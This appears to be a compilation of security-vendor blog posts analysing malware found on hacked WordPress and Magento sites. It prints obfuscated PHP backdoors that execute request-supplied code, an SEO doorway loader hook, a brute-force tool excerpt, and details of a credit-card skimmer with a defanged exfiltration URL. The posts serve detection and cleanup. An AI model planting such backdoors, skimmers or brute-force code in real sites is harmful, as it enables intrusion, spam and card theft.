Author: Denis Sinegubko

A compromised website is perfect for placing black hat SEO doorways. Usually hackers either create such doorways as static files in deep subdirectories or use a script that dynamically generates doorways and map them to site URLs using various .htaccess rewrite tricks. Sometimes they even install whole CMS' with spammy content in subdirectories of legitimate sites.

A more rare and extreme option is to use an existing CMS to create doorways. The main problem with this approach is that the spammy posts are visible to all visitors and site admins who can delete them as soon as they find them.

But if you know how the CMS works internally you can tweak it to hide spammy posts from real visitors while leaving them visible to search engines. Here's an example of a WordPress malware that does just this:

The main idea is to register a new post status:

register_post_status( 'test', array(				'public'                    => true,				'exclude_from_search'       => true,				'show_in_admin_all_list'    => false,				'show_in_admin_status_list' => false		) );

The posts with this status are excluded from search results and from editing listings in the admin interface.

To make sure search engines see them, hackers ping them using the weblogUpdates.extendedPing API every time they create a new post and provide them with a modified feed that includes posts with this new status:

function feed_door(){		query_posts( 'post_status=test&showposts=20' );		require( ABSPATH . WPINC . '/feed-atom.php' );	}

In this particular case, the code that created and managed all these custom spammy posts was hidden in the wptheme_opt option inside WordPress database, and this line inside the active theme's functions.php file invoked the code:

<?php add_action('init', create_function('',     implode("n", array_map("base64_decode",    unserialize(get_option("wptheme_opt")))))); ?>

Other parts of this malware were stored in the wpdhtml and wpdcon WordPress options in the database.

Such tricks are not possible without WordPress hooks so you should monitor integrity of all WordPress files: core, themes, plugins. Removing the hooks is usually enough to clean the site, but you may still want to remove spammy posts from your WordPress database.

Check if Google indexed suspicious pages on your site or shows your site pages in search results for unrelated queries (in this particular case it was the essay spam). You can find this information in Google Search Console. If you see such strange indexed pages, use the Fetch As Google tool in Search Console to make sure Google no longer sees them.

There used to be this backdoor that was mainly uploaded via old Gravity Forms vulnerabilities:

< script language="php" >
$a=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).
chr(101).chr(99).chr(111).chr(100).chr(101);
e v a l($a($_REQUEST[sam]));</script>

Originally, it\'s a one line script. To improve readability and avoid anti-virus false alarms I broke it into multiple lines and added obvious spaces inside the eval keyword. You can find similar modifications in the second snippet too.

The chr(98).chr(97)... part decodes to base64_decode which makes it a typical backdoor that executes arbitrary base64 encoded PHP code passed in the sam request parameter.

While base64_decode was obfuscated, the eval keyword was still prominent, which made the script easy to detect.

A couple of weeks ago we began finding a new version of this backdoor (usually in wp-check.php files).

<?php 
$m=chr(98).chr(97). chr(115).chr(101).chr(54).chr(52).chr(95).
chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
$m=$m($_REQUEST[chr(122)]);
@file_put_contents(chr(122),"<?php ".$m);
@include(chr(122));
@unlink(chr(122));

Again, originally it\'s all in one line. You can recognize the obfuscated base64_decode on the first line. The second line looks similar but there\'s no eval and the request parameter name is now obfuscated: chr(122) decodes to z. Let\'s see how it works without the eval:

The decoded value of the z request parameter is prepended by the PHP opening tag <?php and saved in the z file in the current directory. Now the z file contains the code provided by the attackers. To execute the code, they include the z file in to the current script @include(chr(122)); and then delete it @unlink(chr(122)); to removed traces of their activity.

Note, we usually find this backdoor on severely infected sites with outdated WordPress plugins. Such sites usually have 3-5 more types of backdoors scattered across different directories. If you find this backdoor on server, it usually means that either your site uses outdated/vulnerable plugins/themes/components, or it had been hacked, then cleaned, but you failed to deleted all the backdoors last time, so the attackers still have access to your site.

It's quite a common black hat SEO practice to insert fake rating rich snippets on doorway pages to make them attract more attention on search result pages and to give them more credibility.

Here is one example of how such fake ratings are being generated:

...$rating = rand(3,5);$rcount = rand(120,220);$txt = "<div itemscope="" itemtype="http://schema.org/Product">n    <span itemprop="name">$htitle</span>n    <div itemprop="aggregateRating" itemscope=""    itemtype="http://schema.org/AggregateRating">n    <span itemprop="ratingValue">$rating-5</span> stars based onn    <span itemprop="reviewCount">$rcount</span> reviewsn</div>n    </div>n";...

As you can see, they aim for ratings like 4-5 stars based on 133 reviews, but both the rating and the number of reviews are just random numbers in the ranges that make them look both plausible (not 5 stars always) and trustworthy (based on at least 120 reviews). Funny, this particular code allows to generate ratings like 5-5 stars 😉

As many other things on the web, you shouldn't immediately trust anything what you see in Google's search results. Those rating stars are not a seal of quality from Google. It's just information provided by sites themselves. Moreover, when you search for cheap prescription drugs, pirated software, luxury replicas or questionable financial services, quite often such ratings in search results are fake, and results lead to doorways on hacked sites.

If your site doesn't use rich snippets on its pages, but you see them in the Search Appearance/Structured Data section of Google Search Console, this may be a sign of a hack.

It's one of many examples of SEO poisoning infections that we deal with. We literally remove Gigabytes of spammy doorways from hacked sites every day and if you need a professional help, you can always count on us.

Just a quick reminder:

• Don't use common words and easy character combinations as passwords.
• Your compromised site can be used to hack third-party sites.

A real world confirmation of the above two statements sometimes can be found in one script. For example in a so called WordPress Brute Force Tool that we regularly find uploaded to compromised sites.

...if($_POST){	if(!function_exists(curl_init)) die('<font color="red">[-] Not Curl HERE!<br></font>');	$username = trim($_POST['username']);	$thread = trim($_POST['threads']);	$wordlist = array_filter(file($_POST['wordlist']));	if(!is_file($_POST['wordlist'])) die('<font color="red">[-] File '.$_POST['wordlist'].' not found!</font><br>');	$log = trim($_POST['log']);	$urlz = array_filter(explode("rn", $_POST['sites']));	foreach($urlz as $url){		la_brute($url, $username, $wordlist, $thread, $log);	}}

This tool receives lists of WordPress sites and common passwords. Then it tries every login/password combination on every site and reports the combinations that worked. To improve performance, this particular tool sends requests to multiple sites at once using asynchronous Curl functions.

Having uploaded such tools to multiple compromised sites on different servers, hackers can conduct distributed brute-force attacks.

Brute-forcing is just one of the many types of distributed attacks that your compromised site may be used for. DDoS attacks and vulnerability scans also regularly leverage resources of hacked sites.

Make the Internet safer: Use strong passwords and protect your site.

The Magento Shoplift vulnerability had been patched about a year ago. And all this time we have been cleaning various Magento infections that steal customer credit card details either via server level code or JavaScript injected into order pages.

Modifications of the app/code/core/Mage/Payment/Model/Method/Cc.php file are among the most popular. Here are some typical examples that we wrote about:

• Impacts of a Hack on a Magento Ecommerce Website
• Magento script stealing credit card details

Recently we found one more modification of this malware. The code is almost identical. The main changes are the use of online services to retrieve geolocation data based on the victim IP address

$dip = json_decode(file_get_contents("http://ip-api.com/json/".$ip.""));$country = $dip->country;

and the bank data based on the credit card number

$bin = substr($binx, 0, 6);$getbank = json_decode(file_get_contents("http://www.binlist.net/json/".$bin.""));$ccbrand = $getbank->brand;$ccbank = $getbank->bank;$cctype = $getbank->card_type;

plus the new remote address where they send the stolen data to: hxxps://www.herdamultimedia[.]com/resulta.php, which seems to also be a hacked site.

The most interesting thing about this malware is that not only did it inject the malicious code into Cc.php but also encrypted the whole file content so that it looks like one long line of code:

<?php /* Mr-GanDrunX - Hiddenymouz - HiddenCode */ error_reporting(0); define('__LOCALFILE__',__FILE__); goto HIDDEN; function gandrunx(){ preg_replace("/.*/e",strrev("x3Bx29x29x29'=Q..... 

This encryption is mainly used by Indonesian hackers.

Why did they encrypt the file? Probably to avoid detection when people search for the malware patterns that we reported before. However, it's actually not a very bright idea. Many malware scanners will detect the suspicious encryption anyway. Plus it is very easy to find it if you compare files to the canonical Magento files.

If you see modified core Magento files don't try to identify and remove the malicious code - just replace them with the original ones. And don't forget to update/patch Magento, check if there are any malicious administrator users and scan your server for backdoors that hackers might left there. Or let Sucuri take care of your site

We've seen lots of JavaScript tricks that hide injected spam from human visitors while making it look "visible" for search engines.

The most popular approach is applying the display:none style to a spam block like here:

<div id="tesi"><strong style="font-weight: 400">...SPAMMY CONTENT HERE...</div><script>document.getElementById("t"+"e"+"s"+"i").style.display='none';</script>	

Here you can see a div block with id tesi, followed by a JavaScript that makes the element tesi invisible.

This looks obvious when you see it but may be not as obvious to search engine bots that need to figure out how the JavaScript code affects visibility of a particular content. To make thing even more difficult, the element id in the script is slightly obfuscated "t"+"e"+"s"+"i" and you really need to execute the code to identify the element it works with.

A more interesting obfuscation is used in the __e_accelerate campaign that we wrote about last week. The injected content consist of multiple blocks like this:

<script language="JavaScript">vouhihni='bumnajmi';imppkmat="none";</script><blockquote id="bumnajmi">...SPAMMY CONTENT HERE...</blockquote>

At first glance, the JavaScript code does't make any sence. Although we can see the id of the spam block there bumnajmi and the imppkmat="none"; part implies that it hides something. But we don't see what makes the bumnajmi element hidden.

The answer lies in the trailing JavaScript block:

<script language="JavaScript">sucoy=document.getElementById(vouhihni); sucoy.style.display=imppkmat;</script>

This block glues the parts of the first block together. The first variable is used to select a DOM element. And the second variable is used to make the selected element invisible.

While this trick may fool some search engines into indexing the spammy content while keeping the spam invisble to human visitors, it's still not a problem for website security scanners like our SiteCheck that see and report the spam.

You might know Google popular services: AdWords, AdSense and DoubleClick. You might even know scripts and domains they use. For example, DoubleClick loads scripts from googleads.g.doubleclick.net and AdWords load a conversion tracker script from www.googleadservices.com/pagead/conversion.js.

<script type="text/javascript"   src="//www.googleadservices.com/pagead/conversion.js">   </script>

Recently, we cleaned an infected WordPress site where every post in the wp_posts table was appended by the following script.

<script src="http://ads.googleadservices[.]at/counter.js" type="text/javascript"></script>

The same googleadservices domain, just on the .at TLD. Easy to confuse with the Google's one.

This domain can be also found in conditional mobile redirect rules in .htaccess

...RewriteRule ^(.*)$ http://mobile.googleadservices[.]at [L,R=302]

If we open that counter.js script, we'll see that it creates a pop-up loading hxxp://googleads.g.doubleclick[.]cn.com/cfqv.cgi?18. Again, the same googleads.g.doubleclick domain as in DoubleClick but on .cn.com instead of .net.

In our experience. such domains usually redirect traffic to some ad network or to whoever pays for it. In this case, the pop-up always shows the usa-immigration-service[.]us site and it looks like the whole malware campaign was created (and doubleclick[.]cn.com and googleadservices[.]at were registered) specifically to promoted that immigration service site (which could easily be a scam).

You can see it if you check the IP addresses of each site:

• ads.googleadservices[.]at 37.139.50.191 - dedicated server in Russia
• googleads.g.doubleclick[.]cn.com - 37.139.50.190 - dedicated server in Russia
• usa-immigration-service[.]us - 37.139.50.190 - dedicated server in Russia

Summary

• Don't trust well know domains. Especially when they are misspelled or have a different TLD. Especially when they are found in the places where you didn't put them.
• Don't trust obtrusive ads. If you see pop-up or redirects unrelated to sites you visit, the chances are they are scam.
• When you clean your website, don't forget about the database. It can be infected too. We clean lots of sites with infected databases.